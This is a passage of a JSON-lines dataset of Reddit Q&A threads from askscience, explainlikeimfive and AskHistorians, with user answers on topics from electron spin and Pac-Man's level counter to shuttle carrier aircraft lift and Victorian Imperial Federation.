subject, and I can't recall but it may even have a bibliography at the end for some further research."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6p0vvs", "title": "What would the world look like if electrons were spinning at 2/5 instead of 1/2?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6p0vvs/what_would_the_world_look_like_if_electrons_were/", "answers": {"a_id": ["dklscfe", "dklwpjw", "dkly0fc", "dklyk6n"], "score": [118, 9, 9, 7], "text": ["This would cause some problems theoretically. There are two kinds of particles which can exist: those whose quantum states are totally antisymmetric under exchange of identical particles, and those whose quantum states are totally symmetric under exchange of identical particles.\n\nThere is a theorem called the [spin-statistics theorem](_URL_0_) which states that all of the symmetric kind of particles have integer spins, and all of the antisymmetric kinds have half-integer spins.\n\n2/5 is neither an integer nor half of an odd integer, so it's not a boson nor a fermion.", "As far as I know we only have theories for integer spin and half integer spin particles so 2/5 spin? I don't know. But if electrons were e.g. spin 1 all of a sudden, all of chemistry would change since then the \"exclusion rule\" would no longer apply which means electrons could all occupy the ground state instead of \"filling up\" the electron shells/states.", "Putting aside whether or not spin 2/5 electrons can be described by quantum mechanics, one possibly interesting effect is that magnetic field forming in ferromagnets would all become 1/10th weaker. \n\n & nbsp; \n\nThe magnetic field in a ferromagnet occurs because the spins of all electrons in unfilled shells align in the same direction. The magnet moment of the electron (which relates the the strength of the magnetic dipole field produced by the electron) is related to the spin of the electron by something called the g-factor (roughly 1/spin). So if we change the spin we change the magnetic moment and thus the ferromagnet weakens. \n\nEdit: given that ferromagnets are used in all sorts of everyday appliances I guess a lot of tweaking would be required :)", "The spin of a particle is intimately connected to the phase gained in the wave function after a rotation by 360 degrees. This where the problem occurs, the number of times it takes to return to the base state, indicated the number of time the group of rotations needs to be \"covered\" in order for this work. By \"covered\", I mean that the symmetry group admits a connected covering space. In this case SO(3), the group of rotations in 3-dimensions, this group admits only a double cover (relating to the fact that its first homotopy group is Z/2). This is why you can get things like 2D anyons with fractional spin, in this case the group of symmetries is SO(2), or relativistically SO(2, 1), which admits nontrivial covering spaces of arbitrary degree, which indicates that the spin should be able to take any value in a 2D system. In general, more or less any nonabelian (I think you actually need the group to be perfect, but people usually just say nonabelian) symmetry group constrains the spins to take values in integer multiples of the reciprocal of the 1st homotopy group. So more or less, the answer is, to make what you want to occur, either the electron would have to not be rotation invariant, and admit symmetry by either an abelian group, or just a group with first homotopy group containing 1/5 (I don't know any of these), or we would have to drop our relation between spin and rotations, which is more or less equivalent to the spin-statistics theorem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Spin\u2013statistics_theorem"], [], [], []]}
{"q_id": "4zlyvf", "title": "In the 19th century, Western observers regarded the Japanese as \"lazy\". Where did the modern \"workaholic\" culture come from, and why the change?", "selftext": "I originally posted this in /r/japan but was advised to try here for better answers\n\nThis is a quote from the paper \"The Japanese Nation: An Imagined Community\" by Paul Doyon I found on _URL_0_ (registration required)\n\nHe mainly talks about nihonjinron and the emergence of the Japanese nation-state, but he also made this interesting point:\n\n >  One presumably essentialist trait that the Japanese have been deemed to possess is one of workaholism. Kato Tetsuro, in his paper \"Workaholism: It's Not in the Blood\" provides evidence against this and the nihonjinron theory by using Linhart's (1988) study on Japanese leisure habits:\n\n >  To Western observers in the Meiji Period, the best adjective to describe Japanese workers was not \"diligent\" but \"lazy.\" In the Journal of Japanese Studies (Vol. 14, No. 2. 1988) Austrian born Japanologist Sepp Linhart has this to say: \"To Western observers of the Meiji Period, the Japanese exhibited none of today's stereotypical characteristics of a diligent, hard-working people. Karl Scherzer, a member of the first Austro-Hungarian delegation to the Far East, wrote in his diary shortly after the Meiji Restoration that the Japanese seemed much more cheerful, pleasure-seeking, and given to drink and showed more aversion to work than the Chinese he had observed. (1995)\n\nIs the Japanese image of workaholism and diligence a post-WWII phenomenon? Does anyone have any other sources on this topic? I'm pretty sure that in Japan it is widely believed that this has always been a feature of the national character, so I'd be really interested to hear more on this.\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4zlyvf/in_the_19th_century_western_observers_regarded/", "answers": {"a_id": ["d6yeubz"], "score": [2], "text": ["Related: were these changing attitudes the effect of changing perceptions about the Japanese or were they a concrete change in culture?"]}, "title_urls": [], "selftext_urls": ["www.academia.edu"], "answers_urls": [[]]}
{"q_id": "6s2prp", "title": "how do streaming sites put up high quality episodes before game of thrones is even aired?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6s2prp/eli5_how_do_streaming_sites_put_up_high_quality/", "answers": {"a_id": ["dl9leks", "dl9m7wu"], "score": [8, 4], "text": ["It's been widely reported that Episode 4 leaked a few days ago, it's all over the internet. ", "For usual episodes (this one's different) they record the very first airing, encode that, and upload. With an up to date GPU the encoding can be done in real-time and a fast connection can upload the result in real-time. \n\nThe effect you're experiencing is because if timezones.\n\nRight at this moment it is 7:47pm in California, but it is 10:47pm in NYC. Something that airs at 8-9pm, has not started here, but finished nearly 2 hours ago in NYC.\n\nCombine these and the episode is often available for streaming before it officially airs in California."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5zs55q", "title": "if pac-man's maximum level is 255 because it's the highest decimal number you can store in 8-bit binary, how come it can count the score up to millions in decimal even though it's still 8-bit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5zs55q/eli5_if_pacmans_maximum_level_is_255_because_its/", "answers": {"a_id": ["df0kjs0", "df0ktuk", "df0l0lm", "df11213", "df169a5", "df1bjr9", "df1hw3l", "df1jazv", "df1mlar"], "score": [22, 166, 3, 40, 24, 8, 2, 3, 3], "text": ["They use more than one 8-bit number to store the score. So like you can store 99 numbers in two decimal numbers instead of just 9.", "They only reserved 8 bits for the level, resulting in 255 being the maximum level. The maximum score for pacman is 3,333,360 points, but that limitation is determined by limited ways you can earn points to begin with. You need at least 21 bits to express 3,333,360, so it is likely that they reserved at least 24 bits (since bits usually come in multiples of 8) to store the score information.", "What you do is have two 8-bit numbers. If you add something to the first number when it's reached its limit, a carry flag will be set. You simply add one two the other number whenever the carry flag is set. ", "They allocated 8 bits of memory to the level counter. That is, the level can be at max \"11111111\"binary.\nThey allocated more than 8 bits of memory to the score counter, which is why it can go higher.", "The issue with the levels is a result of the 8-bit processor using a single byte (8-bits) to store the current level value. The score is a whole other animal. Depending on methods for display, two different solutions can be used. \n\nOne of the solutions is space hungry and fast, while the other is less space hungry but requires more process time to display. The faster solution (used in many NES games, but would apply here) is to use a single byte to store each digit. The space is lost because you only need 4 out of the 8 bits to store binary coded decimal (BCD) values. Then all you need is a number of bytes to store data into that is equal to the number of digits that you need to be able to change. The other method (used by Vs.Duck Hunt for certain, but likely others as well) is to store BCD values of the 0-99 range in a single byte as it would use less memory, but the program would have to break each 4-bit component (nybble) of the number out for display reasons. This of course requires more process time to complete as you'd be not only breaking out the nybbles but then (possibly converting them into correct graphics data) and dumping that information to display memory. \n\nTrailing zeroes may not be stored in these ways as the game may never change those values. Simply put, if no earned score value is lower than 100, the two trailing zeroes are just plain text, which further reduces needed storage allowing larger numbers. This would result in needing only 5 bytes to store scores in the millions per method 1, and 3 bytes to scores in the millions per method 2.\n\nAfter all that, the final limiting factor is the display space to show the player the values in the memory. Even if you can store values in tens of millions (method two, assuming no score quantities under 100 pts.), you won't be use all the space if you can't display all the values on the screen.\n\nThese are the common ways to do this as it simplifies the math routines needed to update the score information. \n\nSource: Know 6502 assembly language and have begun attempting to write a NES game on my own.", "Oh boy, you're one of today's [lucky 10,000](_URL_1_)!\n\nThe reason behind the kill screen is more complicated than simply wrapping around from 255 to zero. Here's a full explanation: _URL_0_\n\nIt's totally possible for an 8-bit processor to work with larger numbers than 0-255 - such as the Pac-Man score. The only restriction is that it has to deal with 8 bits *at a time*. For example, I used to program a Commodore 64 which had an 8-bit 6510 processor, and the way to do larger numbers was to use a \"low byte\" and a \"high byte.\"\n\nBy using two bytes, you could represent 16-bit numbers: the high byte's eight bits represented the bits that stand for 256, 512, 1024, ..... to 32768; while the low byte's eight bits represent the 1, 2, 4, 8, 16, ... to 128. This way you could go not just from 0-255 (256 = 2^8), but from 0-65535 (65536 = 2^16).\n\nUsing three, or four, bytes would allow for numbers up to 16.7+ million or 4 point something billion, respectively.\n\nEdit: oops, wrong link; that was for Ms. Pac-Man. I think the original is on that same site somewhere.", "You are confusing the memory width and address space of a CPU with a memory register and integer for holding numbers. \n\nWhen you say a CPU is 8 bit, you're usually talking about it's data bus being 8 bits wide. Some early CPU's could also have an internal bus width of 16 bits, but an external width of 8 bits like the 8088. These numbers have nothing to do with software storage of data like numbers. \n\nWhen you write software and need to store a piece of data, you define it as a variable usually and how this variable is set up, will determine the largest number it can hold. In an 8 bit integer you get the 0-255 you're thinking of, but you can use larger registers. \n\nIf you programmed everything to be able to use huge numbers even when it wasn't needed, your program would require much more memory, and it would be less efficient so they try to tailor them to the need.  It was unlikely anyone would get past level 255 so an 8 bit integer was enough. \n\nThis kind of thing happened a lot in earlier games and it could have some interesting effects. In some games, the characters health bar might use an 8 bit integer, and sometimes it was possible to exceed this, and in some games it would roll around to 00 and they would die even at full health. Other games would glitch out and the character would become invincible. Sword of Vermilion had an infamous exploit using this for invincibility. ", "Even on an 8-bit processor, you can handle larger numbers, but for each variable in the program, you decide how large it should be. So, they expected the core to be large, and used a large variable. They didn't expect anyone to beat 255 levels, so they used a small variable for that.\n\nWhy not always use the largest variable available?\n\nTwo reasons:\n\n* Speed. Since the CPU can only work with 8 bits at the time, every operation needs to be don on chunks of the variable, meaning more operations.\n\n* Memory. On these early systems, memory restrictions were a very real issue. Every byte counted, so programmers always strived to use the smallest variably available.", "\"8 bit processor\" means it can \"write\" 8 bits at time. It can use more than 8 bits to write a big number. \n\nFor instance, you can only write 1 number at a time, but you can write a bunch of numbers in a row to make a big number\n\nThe people making the game said \"the level number does not need to be big\", so it got a small space in the program. \n\nThis is like when you fill out a form, and there's a big box for your name but a tiny one for your ZIP code. Your ZIP will be small, so there's extra space to write in your address. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.donhodges.com/how_high_can_you_get3.htm", "https://xkcd.com/1053/"], [], [], []]}
{"q_id": "1tya4p", "title": "why does bleach feel \"slimy\" on your skin, particularly when you try to wash it off with water?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tya4p/why_does_bleach_feel_slimy_on_your_skin/", "answers": {"a_id": ["cectknj", "cecu558", "ced3b1c"], "score": [167, 4, 18], "text": ["The bleach breaks apart the lipids of your skin cells and turns them into fatty acid salts. In a nutshell, the top layer of your skin is turning to soap.", "Here's another idea: waterlock\n\nAccording to the [Clorox website](_URL_2_), household bleach contains water, sodium hypochlorite, sodium chloride, sodium carbonate, sodium chlorate, sodium hydroxide, and sodium polyacrylate.\n\nThat last one is waterlock. [According to ACS](_URL_1_), the anhydrous structure is a \"coiled\". It is very hydrophilic and \"uncoils\" in water. In doing so, the water molecules crosslink with other polymer units yielding a \"[gel](_URL_0_)\". This may create the \"slimy\" feeling in accordance with the polymer's viscoelasticity.", "It's certainly the case that bleach is a strong enough base to cause saponification the fats in your skin, but the slippery effect is too quick to be due to that relatively slow chemical process.  The main cause is that bases are slippery.  You can feel the same effect with solutions of baking soda, which are about 10,000 times less caustic, and definitely aren't going to cause significant saponification."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Gel", "http://iyc2011.acs.org/2011/07/23/365-contest-29/", "http://www.clorox.com/products/clorox-concentrated-regular-bleach/?gclid=CNby7cK71rsCFQISMwodCmkA_Q"], []]}
{"q_id": "53vjl4", "title": "what's that feeling of death in your chest that comes from eating thick foods like peanut butter too quickly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/53vjl4/eli5_whats_that_feeling_of_death_in_your_chest/", "answers": {"a_id": ["d7wua2a", "d7x096o"], "score": [95, 62], "text": ["That terrible feeling you're describing is your esophageal wall being pushed further than it's supposed to flex. \n\nThis is because the food you're eating and the dry state of your esophagus means the food can't slide against the esophageal wall well enough to conform to your esophagus' shape.\n\nChew your food better, drink with your meals and take smaller bites to avoid this awful feeling.", "Everything the previous posters have said, but I'd like to add why that pain is so intense. There are a few kinds of pain we experience, \"Somatic pain\", \"Nerve pain\", \"Bone pain\", \"Vascular pain\", and \"Visceral pain\". \n\nSomatic pain is what you feel every time you've been bruised, gotten a massage, or otherwise experienced pain in your muscles, connective tissues, skin, etc. Brief nerve pain is something most of us have experienced when we bang our \"funny bone\", or if we're unlucky enough to have need of something like a root canal. People with bad backs can also experience nerve pain, and it can be quite intense. Bone pain is something most of us only experience with a broken bone, or if we're unlucky, cancer. Vascular pain is pain associated with some kind of interruption of blood flow, but a great example of it is... the ice cream headache. Actual ischemia (loss of blood-bearing oxygen to tissue) is even worse.  \n\nFinally there's visceral pain, or \"organ pain\", which is characterized by an incredibly arresting degree of debilitation, and is often associated with major trauma. Kidney stones, appendicitis, serious inflammation of the pancreas or liver, all are notable examples of visceral pain. When you're distending your esophagus, you're experiencing a combination of vascular, and visceral pain... it's quite intense. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2a4m45", "title": "why don't our governments look to see which systems work best in the world and copy them?", "selftext": "Whenever there are are surveys of quality of life and quality of economy and services etc it seems to come out that Sweden has the best social security, Britain has the best health care, Germany has the strongest economy and employment laws, for example.\n\nBut, certainly in the UK, the governments are constantly pushing for American style social security, American style health care and American style employment laws.\n\nWhy don't we, and all other governments, just pick the systems that work best and use them?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a4m45/eli5_why_dont_our_governments_look_to_see_which/", "answers": {"a_id": ["cirfz80", "cirg3y8"], "score": [5, 8], "text": ["There isn't always a single right answer. For example, Swedish-level taxation wouldn't function in the Spain, or China, or the US.\n\nAlso, different systems can work very well but be in opposition e.g. the higher education policy of the US and Australia\n\nDifferent countries have different people and different issues, it's naive to think the same system would be best for all of them.", "Different people want different things one person thinks \"Well, if you are unemployed, you should still be able to live a good life, we as a society can afford that and staticstics show that a person who is actively helped will actually have it easier to get employed again\" and the next person thinks \"If you don't have a job, you don't get paid, easy as that. If people are not given free money, they will try harder to find a job.\" is one person correct, no matter what? No. Have both options pros and cons? Yes.  \n\nYou can't just say that one system is superior in every case and copy it, no matter how your country looks in every other aspect. (For example a very rich country that is rich because it doesn't spend so much money on social security)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "104q6l", "title": "Does the shuttle provide extra lift to the 747 its piggy backing on?", "selftext": "Just watched the shuttle Endeavor lift off on the back of a 747 and was wondering if it helps provide lift for the flight?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/104q6l/does_the_shuttle_provide_extra_lift_to_the_747/", "answers": {"a_id": ["c6adqet", "c6adxc5", "c6aeuge", "c6agt4i", "c6ahkzv", "c6aihbl"], "score": [75, 3, 23, 3, 7, 6], "text": ["Yes, but not enough to make up for its weight. ", "Aerospace engineer(student) here and not really I would wager it actually is adding more drag thus making it harder to fly ", "Are the shuttle wings even actually airfoils?\n\nThey're only really used as air brakes during reentry and provide basic maneuvering when landing. Providing that \"lift\" during takeoff could be problematic. ", "In the videos of the captive-carry release tests of Enterprise, when the shuttle is unclamped from the carrier aircraft, it rises away in a surprisingly well controlled manner without having to steepen its angle of attack.  That suggests to me that at whatever speed they were doing those tests it's definitely making enough lift to overcome its own weight and drag.  The 747 dives to get out of the way though because without any thrust the shuttle quickly slows down and looses the speed it needed to get any kind of significant lift.  Then it drops like a rock.", "Flight Instructor here. The short answer is yes, its wings will provide lift but its a little more complex than that. Your kitchen table would create lift if you moved it through the air at the right angle. The real issue is that its drag will be greater than its thrust thus acting to reduce *velocity*. Forward velocity is required to create lift and the shuttle will only act to slow down the 747. This will require the 747 to increase thrust to make up for the increased drag. \n\n[The Lift Formula on NASA website](_URL_0_)\n\n**L = (1/2) d v2 s CL** \n\nL - Lift\n\ns - surface area\n\nd - air density\n\nv2 - velocity(squared)\n\nCL - Coefficient of lift\n\nThe shuttle will increase the surface area of the combined aircraft but its negative effect on velocity will be much greater. The shuttle's overall effect will certainly decrease performance and maneuverability.\n", "That's an interesting question.\n\nFrom the fact that the 747's shape is optimized for fuel-efficient flight and the Shuttle's shape is optimized for re-entry, it's safe to say that the lift-to-drag ratio of the 747 is much higher than the lift-to-drag ratio of the Shuttle. This means that, to generate a given amount of lift (so as to carry a given amount of weight), the 747's wings will generate less drag than the Shuttle's wings.\n\nSo from a \"minimize drag\" point of view, it would be best to have the Shuttle sitting on top of the 747 at zero angle of incidence, generating no lift, and having the 747 do all the lifting.\n\nHowever, this would require the 747 fuselage to be structurally strengthened enough to carry the Shuttle's weight.\n\nThen again, while sitting on the ground, the 747's fuselage has to carry the Shuttle's weight anyways, so it has to have (at the very least) enough structural strength to carry the Shuttle at 1g. Unless the Shuttle is helping with the lifting, the 747's structure would need even more strength than that during maneuvers such as turns and touchdown, when the force of the Shuttle on top of the fuselage is more than the Shuttle's weight.\n\nBut some of that must be alleviated by the Shuttle generating some lift, even if it was mounted at zero degrees. When the 747's angle of attack increases (from 2 or 3 degrees for level cruise flight, to maybe 5 degrees during turns, and maybe 10 degrees during landing), the Shuttle's angle of attack will also increase by the same number of degrees (unless the mount can be actuated, e.g. by having the connection near the nose push the front of the Shuttle up or down a little bit). So even if the shuttle is mounted at zero degrees relative to the cruise airflow, when the 747 goes into a higher angle of attack for landing or turning, that would cause the Shuttle to be at some angle of attack and generate some lift. But if the Shuttle is mounted at a *higher* angle of attack than the rest of the 747, then the opposite happens: An increase in angle of attack in the 747 by so many degrees would cause an increase in angle of attack of the Shuttle by the same amount of degrees, but the Shuttle started out having more degrees, so its lift would not go up by as much, so the 747 would end up carrying a larger fraction of the weight at higher alphas. So if that is true, then during landing, the 747 is carrying most of the weight, while during cruise the 747 is carrying less of the weight. That would make sense given that the Shuttle landing speed is higher than the 747's. [A comment here](_URL_1_) points out that the 747 lands quite a bit slower than the Shuttle (160-180KT, compared to 195-205 for the Shuttle). But that is not enough to tell how much lift the Shuttle will generate. Again, it depends on what angle of incidence it is mounted at. Unless you're slower than stall speed, an airplane (or Shuttle) can generate its weight in lift at SOME angle of attack.\n\n[Another comment](_URL_6_) makes the point that the Shuttle has been released from the 747 in flight during early approach-and-landing tests into Edwards. That provides some clues as to how the Shuttle was mounted during that test. At the release speed, the Shuttle was generating roughly its weight in lift, maybe a hair more, so that it would rise slowly. So if they flew any faster, the Shuttle would generate extra lift and try to pull iself out of the mount, and if they flew any slower, the 747 would have to carry some or all of the weight (for a constant angle of incidence). \n\nHowever, was the Shuttle mounted for ferry flight at the same angle of incidence as during the approach-and-landing tests? Can the angle of incidence of the mount be changed during flight? I don't know. But I hope I could shed a little bit of light onto the science that has to be considered while picking an answer to the question.\n\nThat's as far as I can get without looking stuff up. Let's try some Googling.\n\nDuring the approach-and-landing tests, [the releases occurred between 245 knots and 270 knots](_URL_3_). That implies that, at these speeds, the Shuttle generates roughly its weight in lift, at the angle of incidence used in the test. The cruise speed used to ferry the Shuttles is [apparently 250 knots](_URL_4_), so, it's roughly the same speed.\n\n[This issue](_URL_5_) of the NASA Dryden newsletter reveals that \"because of the orbiter\u2019s positive angle of attack while mated, the Enterprise tended to climb relative to the SCA\" during the approach-and-landing tests. [The book *From Runway to Orbit: Reflections of a NASA Engineer*](_URL_2_) says that \"the Shuttle would be mounted at a higher angle of attack than the 747 SCA to help the two vehicles separate at launch\". Ok, got it. But what angle was used for the ferry flights?\n\nAh-ha! [This article](_URL_0_) reveals that \"ferry flight preparation involved replacing the attachment struts (where it connected to the Shuttle orbiter) to lower the Shuttle orbiter\u2019s cant from 6 degrees to 3 degrees to reduce drag on the mated pair during flight\".\n\nHow much lift does the shuttle generate at 3 degrees? Well, at 6 or 7 degrees, it could lift off the 747 going at 250-270 knots. So at 3 degrees, it must generate... roughly half its weight, assuming a linear relationship between alpha and CL (which is close to true for small angles of attack).\n\nSo the Shuttle is at a higher angle of attack than the 747. That means that, if the angle of attack of the 747 goes up from 3 to 6 degrees as it slows down to land, the Shuttle angle of attack goes up from 6 to 9 degrees, i.e. not as big a difference. So as they slow to land, the 747 has to carry more of the weight (This makes sense just given that the Shuttle lands faster than the 747, so if you slow it down too much, it can't generate as much lift, even with an increase in angle of attack) unless the mount can be changed in flight.\n\nTL;DR: As far as I can tell from doing some Googling: The Shuttle probably supports about half its own weight during cruise flight, and the 747 has to carry the rest. While at slower speeds, the 747 has to carry more of the weight. While standing on the ground, the 747 has to carry all the weight (duh)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.grc.nasa.gov/WWW/k-12/WindTunnel/Activities/lift_formula.html"], ["http://www.nasaspaceflight.com/2012/04/space-shuttle-enterprise-the-orbiter-that-started-it-all/", "http://www.reddit.com/r/askscience/comments/104q6l/does_the_shuttle_provide_extra_lift_to_the_747/c6aezz7", "http://books.google.com/books?id=8QLGRq793Y4C&amp;pg=PA155&amp;lpg=PA155&amp;source=bl&amp;ved=0CGMQ6AEwCA#v=onepaget&amp;f=false", "http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20070034952_2007034096.pdf", "http://www.nasa.gov/centers/dryden/news/FactSheets/FS-013-DFRC.html", "http://www.nasa.gov/centers/dryden/pdf/656292main_special_deliveries_05_12.pdf", "http://www.reddit.com/r/askscience/comments/104q6l/does_the_shuttle_provide_extra_lift_to_the_747/c6agt4i"]]}
{"q_id": "a7tfo6", "title": "what would happen if we could select where our tax dollars went when we file taxes every year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7tfo6/eli5_what_would_happen_if_we_could_select_where/", "answers": {"a_id": ["ec5m2c0", "ec5mh3j", "ec5migt", "ec5pd41", "ec5pk8m"], "score": [9, 3, 3, 2, 2], "text": ["It would be a really bad idea, actually.  Unpopular but necessary infrastructure would regularly go unfunded.  The latest shiny thing promoted by the media would get disproportionately large support.\n\nAs broken as the system seems, it\u2019s best that we elect people who will make informed decisions, however corrupt they may be.", "Biggest issue I\u2019d see with this is that the government has a lot of obligations that if not paid would create massive issues (debt default, government employees go unpaid, social security, etc). If this were just applied to the discretionary part of the budget a lot of infrastructure or other things people don\u2019t tend to think about unless it\u2019s broken would go underfunded. This would also open up a whole new sector of lobbying, pork and PACs all vying for public funds on unneeded projects.  ", "Some things would probably get overfunded, while others would go bankrupt. For instance, more people would want to fund a local public school system more than a park in a neighborhood full of old people. Tax distribution makes sure that nothing gets left out. It may not be perfect, but it's worked this long.", "To first answer this, I\u2019ll ELI5 the federal budget. \n\nEvery year, Congress makes a -budget- grocery list for next year. \n\n62% of the budget is *Mandatory* which includes costs to run Social Security, Medicare, Welfare programs like TANF, Federal employee pension funds, and Unemployment benefits (think of this like toilet paper, bread  &  butter, milk- you have to buy these).\n\n38% of the budget is *Discretionary* which is all the fun stuff everyone argues over. NASA, defense  &  military/wars, education, research (think ice cream, avocados, and Organic free-range steak).\n\nInstead of saying, \u201cwe have $100 from -taxes- allowance for these groceries, so anything over that we can\u2019t get!\u201d \nOur congress says, \u201cthese things we all need, and will -sell bonds- borrow money from our second cousins in foreign lands at a low interest rate so that we can have all these nice things.\u201d\n\nEssentially, you\u2019re saying we should choose via popular vote what goes on the grocery list for next year. But this is redundant because Congress people are our democratically elected representatives who decide *on our behalf* what goes on the list each year.  \n\n", "We couldn't really comprehend it at a useful scale.  Wealthy interests who can afford the teams of accountants needed to comprehend it would propose comprehensive packages so that you could vote to \"fund the pipeline\" or \"fund solar\" or \"fund social goodness.\"   What the promoters of those packages won't tell you is that \"fund the pipeline\" also funds job-killing automation or that \"fund social goodness\" actually pays GD a bonus for every LAV they sell the Saudis.  That leaves you right back where you started: trying to figure out which suggested budget is the least full of pork and treason by staring up a firehose of psychological conditioning."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1h4vv4", "title": "What \"great civilizations\" have legalized gay marriage?", "selftext": "I'm not trying to have a political augment here, but this is a political question. Responding to the Supreme Court rulings on same sex marriage today, Rep. Louie Gohmert (R-TX) said that same-sex marriage was \u201cusually tried at the end of a great civilization.\u201d \n\nI hear this argument made commonly by opponents of same sex marriage, but they never seen to elaborate. \n\nSo my question is this: to what civilizations is the congressman referring? Is there any merit to the claim (historically, not politically)? What history of same sex marriage is there, especially since the idea of homosexuality is such a recent one (19th century if I'm not mistaken)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h4vv4/what_great_civilizations_have_legalized_gay/", "answers": {"a_id": ["caqv95s", "caqvb5t", "car3s0b"], "score": [9, 5, 2], "text": ["[A similar question was asked almost a year ago following a similar statement](_URL_0_).\n\nI can't think of a single civilization that legalized gay marriage before the present day. While some civs did have some sort of not-completely-forbidden homoerotic relationships (between men) I do not think there was a single civ that treated homosexuals the same way as heterosexuals.\n\nAnyway, that's not the point. The basic assumption behind that quote is that the rise of homosexuality is somehow linked with the rise of corruption or debauchery in a society, and therefore exposes the speaker's anti-gay bias. As I said in the linked thread, this is just an example of someone twisting historical facts to prove a point.", "I was looking forward to same-sex marriage questions today, unfortunately this is not one I am equipped to answer.  \nI usually interprete these \"arguments\" as being *very* loosely/inaccurately based on the prevalence of homosexual sex acts in ancient civilizations and the eventual decline of those nations. But ultimately it's just a bunch of nonsense based on homophobia.  \nIf you want to know more about the history of the marriage movement in the US, I can answer that. As for your real question, perhaps a historian of the ancient world can offer more perspective. ", "Often enough these kinds of statements are connected to the debaucheries of Rome and Greece, of course in a very vague and ahistorical and obviously biased way, as /u/whitesock pointed out. I can't think of any society \"legalizing gay marriage\" but marriage has been treated very differently in different societies; the type of legal contract that modern American marriage involves, plus the protections and privileges it confers, is by no means a universal human construct.\n\nI do think it's funny to hear these arguments though, especially when they are linked to, for instance, that crazy old homosexual tyrant Nero. The Romans themselves were in general convinced that all the debaucheries of *their* sons could be traced to the lecherous, effeminate Greeks who were coming over from abroad, as Pliny the Younger says in one of his letters (can't think which one right now, sorry).\n\nIt just goes to show how fond we are of these strawmen of ancient/foreign debaucheries that we are supposed to be above. Pliny laments the corruption of Roman youths during the reign of Trajan in the early second century CE; the Roman empire was in its heyday at this point, with Trajan being only the second of the five \"good emperors\", and things weren't going to get really bad for a long time yet. And here's Pliny worrying over effeminate Greeks seducing good Roman stock."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/ypj6a/gay_rights_vs_downfall_of_civilisation/"], [], []]}
{"q_id": "62lg9d", "title": "reptiles are air breathing animals. however, when they're in an egg, they have no source of air like mammals do in the womb. how do they survive without air while developing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62lg9d/eli5reptiles_are_air_breathing_animals_however/", "answers": {"a_id": ["dfng0nw", "dfngd4o", "dfngok5"], "score": [64, 12, 5], "text": ["When the egg is laid, it is very warm, as it cools, a thin membrane shrinks away from the interior, creating a pocket of air. The developing animal uses this air, and exhales CO2, which is pushed through millions of pores on the shell, allowing fresh air to come in. \n\n\nThis is similar for both lizards and birds.", "They don't survive without air. The eggs are actually porous, allowing gas transfer between the interior and exterior of the egg.", "The egg shells are porous, which allows oxygen to diffuse into the shell and carbon dioxide to diffuse out of shell. This is also why when you use farm fresh eggs, you need to wash them (ONLY before you use them, store them unwashed!) with **warm** water, so the contents of the egg don't contract and 'pull' bacteria into the egg via the pores in the shell. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bgyjvx", "title": "In \u201cTHE ADVENTURE OF THE NOBLE BACHELOR\u201d Sherlock Holmes says that he believes that in the future, Americans and Brits will again be joined in a world wide country which flag is a combination of the union jack and stars and stripes. Was the idea of a united UK and US common in Victorian England?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bgyjvx/in_the_adventure_of_the_noble_bachelor_sherlock/", "answers": {"a_id": ["elr8kl4"], "score": [127], "text": ["Wow, a question I can actually answer! In short, the concept of a global \"Anglo-Saxon\" union was somewhat popular among a small subset of the British Imperial Federation movement. I would absolutely not call it a popular idea, given how impractical it was (especially at the time), but some members of the movement likely saw it as a vague, future dream.  \n\n\nProponents of Imperial Federation sought to create a federal British Empire, where the dominion parliaments would act as a sort of state/provincial legislature, with supreme power being focused on the Imperial Parliament in London. Most of these federal schemes advocating for uniting only the \"white\" dominions (Canada, Australia, New Zealand, and South Africa), as their linguistic homogeneity and similar racial background (overlooking all their non-British and especially non-white inhabitants) would ensure Britain's global superiority. I did my undergraduate thesis on the Round Table Movement, a later subset of the Imperial Federationists, so I have a bit of background knowledge on the topic.  \n\n\nThe Imperial Federationist idea did gain some popularity in the last decades of the nineteenth century, as the British establishment became increasingly concerned about the relative decline of the United Kingdom compared to the far more populous and resource-rich Americans and Germans. As well, this is the era of linguistic pan-nationalism, where long-divided nations like the Germans and Italians were unifying. To Imperial Federationists, they were simply uniting the worldwide Anglo-Saxon diaspora. The short-lived but ambitious Imperial Federation League was formed in 1884 to lobby for Imperial Union, though while it found support from some members of the Conservative Party it dissolved not long afterward due to the sheer impracticality of its mission. Some Liberals, particularly the Liberal Unionists who would later defect to the Conservatives over Irish Home Rule, also supported the idea (in theory), most notably the wildly influential Cabinet Minister Joseph Chamberlain. In reality, none of these ideas ever came to 